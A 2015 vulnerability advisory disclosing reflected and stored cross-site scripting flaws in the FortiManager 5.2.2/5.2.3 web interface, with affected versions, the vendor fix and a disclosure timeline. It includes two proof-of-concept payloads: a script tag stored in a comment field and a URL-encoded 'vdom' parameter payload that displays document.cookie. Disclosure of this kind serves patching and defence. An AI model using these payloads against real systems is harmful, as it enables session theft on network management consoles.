FortiManager 5.2.2 - Persistent Cross-Site Scripting

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-FORTIMANAGER-XSS-0924.txt



Vendor:
================================
www.fortinet.com



Product:
================================
FortiManager v5.2.2

FortiManager is a centralized security management appliance that allows you
to
centrally manage any number of Fortinet Network Security devices.


Vulnerability Type:
===================
Multiple Cross Site Scripting ( XSS ) in FortiManager GUI
http://www.fortiguard.com/advisory/multiple-xss-vulnerabilities-in-fortimanager-gui



CVE Reference:
==============
Pending





Vulnerability Details:
=====================

The Graphical User Interface (GUI) of FortiManager v5.2.2 is
vulnerable to two reflected Cross-Site Scripting (XSS) vulnerabilities.
2 potential XSS vectors were identified:

* XSS vulnerability in SOMVpnSSLPortalDialog.
* XSS vulnerability in FGDMngUpdHistory.

The Graphical User Interface (GUI) of FortiManager v5.2.3 is vulnerable to
one reflected XSS vulnerability and one stored XSS vulnerability.
2 potential XSS vectors were identified:

* XSS vulnerability in sharedjobmanager.
* XSS vulnerability in SOMServiceObjDialog.

Affected Products

XSS items 1-2: FortiManager v5.2.2 or earlier.
XSS items 3-4: FortiManager v5.2.3 or earlier.


Solutions:
===========
No workarounds are currently available.
Update to FortiManager v5.2.4.


Exploit code(s):
===============

1- Persistent:
https://localhost/cgi-bin/module/sharedobjmanager/firewall/SOMServiceObjDialog?devGrpId=18446744073709551615&deviceId=18446744073709551615&vdom=&adomId=3&vdomID=0&adomType=ems&cate=167&prodId=0&key=ALL&catetype=167&cate=167&permit_w=1&roid=189&startIndex=0&results=50

<div class="ui-comments-div"><textarea  id="_comp_15" name="_comp_15"
class="ui-comments-text" cols="58" maxlength="255"
 maxnum="255" placeholder="Write a comment"
rows="1"><script>alert(666)</script>&lt;/textarea&gt;<label
class="ui-comments-remaining">


2- Reflected
https://localhost/cgi-bin/module/sharedobjmanager/policy_new/874/PolicyTable?vdom=%22%27/%3E%3C/script%3E%3Cscript%3Ealert%28%27[XSS%20FortiManager%20POC%20VM64%20v5.2.2%2008042015%20]\n\n%27%2bdocument.cookie%29%3C/script%3E
<https://localhost/cgi-bin/module/sharedobjmanager/policy_new/874/PolicyTable?vdom=%22%27/%3E%3C/script%3E%3Cscript%3Ealert%28%27[XSS%20FortiManager%20POC%20VM64%20v5.2.2%2008042015%20]%5Cn%5Cn%27%2bdocument.cookie%29%3C/script%3E>



Disclosure Timeline:
=========================================================
Vendor Notification:  August 4, 2015
September 24, 2015 : Public Disclosure




Exploitation Technique:
=======================
Remote & Local



Severity Level:
=========================================================
Medium (3)




Description:
==========================================================


Request Method(s):              [+] GET


Vulnerable Product:             [+] FortiManager v5.2.2  & v5.2.3 or earlier


Vulnerable Parameter(s):        [+] vdom, textarea field


Affected Area(s):               [+] sharedobjmanager, SOMServiceObjDialog


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx